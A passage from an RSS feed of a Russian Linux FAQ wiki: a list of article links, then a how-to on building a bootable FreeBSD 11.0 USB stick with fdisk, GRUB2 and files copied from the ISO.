&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BE%D1%82%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-ipv6-%D0%B2-ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:отключение-ipv6-в-ubuntu&quot; data-wiki-id=&quot;linux_faq:отключение-ipv6-в-ubuntu&quot;&gt;отключение-ipv6-в-ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%B3%D1%80%D0%B5%D0%B2_ryzen_%D0%B8_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B8%D1%8F&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:перегрев_ryzen_и_последствия&quot; data-wiki-id=&quot;linux_faq:перегрев_ryzen_и_последствия&quot;&gt;перегрев_ryzen_и_последствия&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%B5%D0%B7%D0%B4-linux-%D0%B0-%D0%B4%D0%B8%D1%81%D0%BA-lvm-%D0%BC%D0%B5%D0%BD%D1%8C%D1%88%D0%B5%D0%B3%D0%BE-%D0%BE%D0%B1%D1%8A%D0%B5%D0%BC%D0%B0-debian&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:переезд-linux-а-диск-lvm-меньшего-объема-debian&quot; data-wiki-id=&quot;linux_faq:переезд-linux-а-диск-lvm-меньшего-объема-debian&quot;&gt;переезд-linux-а-диск-lvm-меньшего-объема-debian&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%BD%D0%BE%D1%81-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85-%D0%B8%D0%B7-screw-turnwiki-%D0%B2-dokuwiki&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:перенос-данных-из-screw-turnwiki-в-dokuwiki&quot; data-wiki-id=&quot;linux_faq:перенос-данных-из-screw-turnwiki-в-dokuwiki&quot;&gt;перенос-данных-из-screw-turnwiki-в-dokuwiki&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B-yum-update-%D0%BD%D0%B5-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D0%B5%D1%82%D1%81%D1%8F-openvz-running-kernel-is-not-an-openvz-kernel&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:после-обновления-системы-yum-update-не-запускается-openvz-running-kernel-is-not-an-openvz-kernel&quot; data-wiki-id=&quot;linux_faq:после-обновления-системы-yum-update-не-запускается-openvz-running-kernel-is-not-an-openvz-kernel&quot;&gt;после-обновления-системы-yum-update-не-запускается-openvz-running-kernel-is-not-an-openvz-kernel&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%B8-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8-%D0%B2-%D1%81%D1%82%D0%B0%D1%80%D1%82%D0%B0%D0%BF-%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B0%D1%85-screen-%D0%B3%D0%BE%D0%B2%D0%BE%D1%80%D0%B8%D1%82-%D1%87%D1%82%D0%BE-must-be-connected-to-a-terminal&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:при-использовании-в-стартап-скриптах-screen-говорит-что-must-be-connected-to-a-terminal&quot; data-wiki-id=&quot;linux_faq:при-использовании-в-стартап-скриптах-screen-говорит-что-must-be-connected-to-a-terminal&quot;&gt;при-использовании-в-стартап-скриптах-screen-говорит-что-must-be-connected-to-a-terminal&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%B8%D0%BD%D1%83%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0-linux&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:принудительная-перезагрузка-linux&quot; data-wiki-id=&quot;linux_faq:принудительная-перезагрузка-linux&quot;&gt;принудительная-перезагрузка-linux&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D1%8B_%D1%81_pam_mount&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:проблемы_с_pam_mount&quot; data-wiki-id=&quot;linux_faq:проблемы_с_pam_mount&quot;&gt;проблемы_с_pam_mount&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%80%D0%B5%D0%BC%D0%B0%D0%BF-remap-%D1%81%D0%B1%D0%BE%D0%B8%D0%BD%D1%8B%D1%85-%D1%81%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2-%D0%B4%D0%B8%D1%81%D0%BA%D0%B0-bad-blocks-%D0%B2-linux&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ремап-remap-сбоиных-секторов-диска-bad-blocks-в-linux&quot; data-wiki-id=&quot;linux_faq:ремап-remap-сбоиных-секторов-диска-bad-blocks-в-linux&quot;&gt;ремап-remap-сбоиных-секторов-диска-bad-blocks-в-linux&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5-%D0%B1%D1%83%D0%BA%D0%B2%D1%8B-%D0%B2-%D0%BD%D0%B0%D0%B7%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%D1%85-%D1%88%D0%B0%D1%80-samba&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:русские-буквы-в-названиях-шар-samba&quot; data-wiki-id=&quot;linux_faq:русские-буквы-в-названиях-шар-samba&quot;&gt;русские-буквы-в-названиях-шар-samba&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BE%D0%B2_%D0%B8%D0%B7_%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_checkinstall&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:сборка_пакетов_из_исходников_с_помощью_checkinstall&quot; data-wiki-id=&quot;linux_faq:сборка_пакетов_из_исходников_с_помощью_checkinstall&quot;&gt;сборка_пакетов_из_исходников_с_помощью_checkinstall&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B_%D0%B4%D0%BB%D1%8F_arm-%D1%80%D0%BE%D1%83%D1%82%D0%B5%D1%80%D0%B0_%D0%BD%D0%B0_pc&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:сборка_системы_для_arm-роутера_на_pc&quot; data-wiki-id=&quot;linux_faq:сборка_системы_для_arm-роутера_на_pc&quot;&gt;сборка_системы_для_arm-роутера_на_pc&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%81%D0%BE%D0%B2%D1%81%D0%B5%D0%BC-%D1%80%D0%B0%D0%B7%D0%BD%D1%8B%D0%B5-%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B-https-ssl-%D0%B8-ssh-%D0%BD%D0%B0-%D0%BE%D0%B4%D0%BD%D0%BE%D0%BC-%D0%BF%D0%BE%D1%80%D1%82%D1%83&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:совсем-разные-сервисы-https-ssl-и-ssh-на-одном-порту&quot; data-wiki-id=&quot;linux_faq:совсем-разные-сервисы-https-ssl-и-ssh-на-одном-порту&quot;&gt;совсем-разные-сервисы-https-ssl-и-ssh-на-одном-порту&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B0-%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-active-directory-%D0%B8%D0%B7-linux&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:средства-администрирования-active-directory-из-linux&quot; data-wiki-id=&quot;linux_faq:средства-администрирования-active-directory-из-linux&quot;&gt;средства-администрирования-active-directory-из-linux&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D0%BC_opnsense_%D0%BD%D0%B0_xenserver6.5&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ставим_opnsense_на_xenserver6.5&quot; data-wiki-id=&quot;linux_faq:ставим_opnsense_на_xenserver6.5&quot;&gt;ставим_opnsense_на_xenserver6.5&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%81%D1%82%D0%B0%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8-raida&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:тестирование-стабильности-raida&quot; data-wiki-id=&quot;linux_faq:тестирование-стабильности-raida&quot;&gt;тестирование-стабильности-raida&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5-%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA-kvm-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-virt-manager&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:удаленное-подключение-к-kvm-с-помощью-virt-manager&quot; data-wiki-id=&quot;linux_faq:удаленное-подключение-к-kvm-с-помощью-virt-manager&quot;&gt;удаленное-подключение-к-kvm-с-помощью-virt-manager&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BE%D0%B4%D0%B0%D0%BC%D0%B8-gpio-%D0%B8%D0%B7-http&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:управление-светодиодами-gpio-из-http&quot; data-wiki-id=&quot;linux_faq:управление-светодиодами-gpio-из-http&quot;&gt;управление-светодиодами-gpio-из-http&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%87%D0%B0%D1%81%D1%82%D0%BE%D1%82%D0%BE%D0%B8-%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%B0-%D0%B8%D0%B7-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8-ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:управление-частотои-процессора-из-команднои-строки-ubuntu&quot; data-wiki-id=&quot;linux_faq:управление-частотои-процессора-из-команднои-строки-ubuntu&quot;&gt;управление-частотои-процессора-из-команднои-строки-ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-cloud-stack-4-4-%D0%BD%D0%B0-ubuntu-14-04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-cloud-stack-4-4-на-ubuntu-14-04&quot; data-wiki-id=&quot;linux_faq:установка-cloud-stack-4-4-на-ubuntu-14-04&quot;&gt;установка-cloud-stack-4-4-на-ubuntu-14-04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-haproxy-%D0%BD%D0%B0-debian-wheezy&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-haproxy-на-debian-wheezy&quot; data-wiki-id=&quot;linux_faq:установка-haproxy-на-debian-wheezy&quot;&gt;установка-haproxy-на-debian-wheezy&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-java-runtime-%D0%B2-ubuntu-14-04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-java-runtime-в-ubuntu-14-04&quot; data-wiki-id=&quot;linux_faq:установка-java-runtime-в-ubuntu-14-04&quot;&gt;установка-java-runtime-в-ubuntu-14-04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-kerio-vpn-client-%D0%BD%D0%B0-ubuntu-x64&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-kerio-vpn-client-на-ubuntu-x64&quot; data-wiki-id=&quot;linux_faq:установка-kerio-vpn-client-на-ubuntu-x64&quot;&gt;установка-kerio-vpn-client-на-ubuntu-x64&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-likewise-open-server&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-likewise-open-server&quot; data-wiki-id=&quot;linux_faq:установка-likewise-open-server&quot;&gt;установка-likewise-open-server&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-moodle-%D0%BD%D0%B0-ubuntu-12-04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-moodle-на-ubuntu-12-04&quot; data-wiki-id=&quot;linux_faq:установка-moodle-на-ubuntu-12-04&quot;&gt;установка-moodle-на-ubuntu-12-04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-zentyal-%D0%BD%D0%B0-ubuntu-14.04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-zentyal-на-ubuntu-14.04&quot; data-wiki-id=&quot;linux_faq:установка-zentyal-на-ubuntu-14.04&quot;&gt;установка-zentyal-на-ubuntu-14.04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-%D1%84%D0%B0%D0%B8%D0%BB%D0%BE%D0%BF%D0%BE%D0%BC%D0%BE%D0%B8%D0%BA%D0%B8-pydio-%D0%BD%D0%B0-lemp-%D0%B1%D1%8B%D0%B2%D1%88%D0%B8%D0%B8-ajaxplorer&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка-фаилопомоики-pydio-на-lemp-бывшии-ajaxplorer&quot; data-wiki-id=&quot;linux_faq:установка-фаилопомоики-pydio-на-lemp-бывшии-ajaxplorer&quot;&gt;установка-фаилопомоики-pydio-на-lemp-бывшии-ajaxplorer&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%8F%D0%B4%D1%80%D0%B0_pf-kernel_4._%D0%BD%D0%B0_ubuntu_14.04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установка_ядра_pf-kernel_4._на_ubuntu_14.04&quot; data-wiki-id=&quot;linux_faq:установка_ядра_pf-kernel_4._на_ubuntu_14.04&quot;&gt;установка_ядра_pf-kernel_4._на_ubuntu_14.04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D1%89%D0%B8%D0%BA-ubuntu-%D0%BD%D0%B5-%D0%B2%D0%B8%D0%B4%D0%B8%D1%82-%D0%B4%D0%B8%D1%81%D0%BA&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:установщик-ubuntu-не-видит-диск&quot; data-wiki-id=&quot;linux_faq:установщик-ubuntu-не-видит-диск&quot;&gt;установщик-ubuntu-не-видит-диск&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D1%87%D0%B5%D0%BC_%D0%B7%D0%B0%D0%BD%D1%8F%D1%82_linux_kworker_100_cpu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:чем_занят_linux_kworker_100_cpu&quot; data-wiki-id=&quot;linux_faq:чем_занят_linux_kworker_100_cpu&quot;&gt;чем_занят_linux_kworker_100_cpu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>make_freebsd_boot_flash_from_iso</title>
            <link>https://wiki.autosys.tk/linux_faq/make_freebsd_boot_flash_from_iso</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создание загрузочной флешки для установки &lt;strong&gt;Free BSD 11.0&lt;/strong&gt; оказалось довольно нетривиальной задачей. При этом, официальный образ флешки &lt;strong&gt;*.img&lt;/strong&gt; не всегда работает как нужно. На некоторых ноутбуках он не загружается вовсе!! &lt;br/&gt;
Приведенный здесь способ позволяет сделать загрузочную флешку даже с помощью &lt;strong&gt;linux Live-CD&lt;/strong&gt;. 
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-594&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для начала создаем на флешке раздел FAT32, делаем его загрузочным и форматируем.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fdisk /dev/sdx&lt;/pre&gt;

&lt;p&gt;
Если на диске есть разделы, то ликвидируем их. Для этого жмем &lt;strong&gt;d&lt;/strong&gt; &lt;br/&gt;

После удаления разделов жмем &lt;strong&gt;n&lt;/strong&gt; и создаем новый.&lt;br/&gt;

В процессе создания указваем что раздел &lt;strong&gt;p&lt;/strong&gt; (primary).&lt;br/&gt;

После создания жмем &lt;strong&gt;a&lt;/strong&gt;, чтобы сделать раздел активным.&lt;br/&gt;

Затем жмем &lt;strong&gt;t&lt;/strong&gt;, чтобы задать тип раздела и вводим тип &lt;strong&gt;c&lt;/strong&gt; (FAT32).&lt;br/&gt;

Жмем &lt;strong&gt;w&lt;/strong&gt; и записываем изменения на флешку. &lt;br/&gt;

&lt;br/&gt;

Форматируем флешку с меткой &lt;strong&gt;FREEBSD11&lt;/strong&gt;. Метка важна, поскольку в дальнейшем она будет использована для монтирования:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo umount /dev/sdx1
sudo mkfs.vfat -F 32 -n FREEBSD11 /dev/sdx1&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;595-1669&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;установка_загрузчика_grub&quot;&gt;Установка загрузчика GRUB&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Монтируем флешку и ставим на нее GRUB2.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/USB &amp;amp;&amp;amp; sudo mount /dev/sdx1 /mnt/USB
sudo grub-install --force --no-floppy --boot-directory=/mnt/USB/ /dev/sdx &lt;/pre&gt;

&lt;p&gt;
Старые версии GRUB вместо &lt;strong&gt;–boot-directory&lt;/strong&gt; используют &lt;strong&gt;-root-directory&lt;/strong&gt;. Если что-то не так, то установщик GRUB скажет что &lt;strong&gt;“Installation is impossible. Aborting”&lt;/strong&gt;.&lt;br/&gt;

&lt;br/&gt;

Создаем на флешке файлик &lt;strong&gt;/grub/grub.cfg&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /mnt/USB/grub/grub.cfg&lt;/pre&gt;

&lt;p&gt;
и пишем туда вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;menuentry &amp;quot;FreeBSD 11.0 Text Install&amp;quot; {
  kfreebsd /boot/kernel/kernel
  kfreebsd_loadenv /boot/device.hints
  kfreebsd_module_elf /boot/kernel/ums.ko
  set kFreeBSD.vfs.root.mountfrom=msdosfs:/dev/msdosfs/FREEBSD11
  set kFreeBSD.kern.geom.eli.visible_passphrase=2
  set kFreeBSD.hw.memtest.tests=0
  set kFreeBSD.vfs.zfs.arc_max=128M
  set kFreeBSD.grub.platform=$grub_platform
  set kFreeBSD.xconsole=YES
  set kFreeBSD.kern.cam.boot_delay=&amp;quot;50000&amp;quot;
  set kFreeBSD.kern.geom.label.disk_ident.enable=0
  set kFreeBSD.kern.geom.label.gptid.enable=0
  set kFreeBSD.kern.geom.label.ufsid.enable=0
  set kFreeBSD.vfs.mountroot.timeout=&amp;quot;180&amp;quot;
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 GRUB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430_grub&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1670-2963&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;распаковка_образа_iso&quot;&gt;Распаковка образа iso&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Дальше нужно распаковать смонтировать инсталляционный iso-образ и распаковать его на флешку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/cdrom &amp;amp;&amp;amp; sudo mount -t iso9660 ./FreeBSD-11.0-RELEASE-amd64-disc1.iso /mnt/cdrom 
sudo rsync -rLK --ignore-existing /mnt/cdrom/ /mnt/USB&lt;/pre&gt;

&lt;p&gt;
Затем на флешке редактируем &lt;strong&gt;/etc/fstab&lt;/strong&gt; и приводим его к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/dev/msdosfs/FREEBSD11  /   msdosfs ro    0   0&lt;/pre&gt;

&lt;p&gt;
Тут важно, чтобы указанная метка FREEBSD11 соответствовала указанной при форматировании.
&lt;/p&gt;

&lt;p&gt;
В моем случае флешка оказалась медленной и перед отмонтированием я запустил &lt;strong&gt;sync&lt;/strong&gt;, чтобы убедиться в том, что все корректно записалось.&lt;br/&gt;

&lt;strong&gt;sync&lt;/strong&gt; идет довольно долго (около часа!!), так как много мелких файлов. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sync
umount /dev/sdx1&lt;/pre&gt;

&lt;p&gt;
Все. Дальше просто загружаемся с флешки и ставим &lt;strong&gt;FreeBSD 11.0&lt;/strong&gt;.
&lt;br/&gt;

&lt;br/&gt;

Этим же методом можно сделать загрузочную флешку для установки &lt;strong&gt;TrueOS&lt;/strong&gt; (бывший &lt;strong&gt;PCBSD&lt;/strong&gt;).
&lt;/p&gt;

&lt;p&gt;
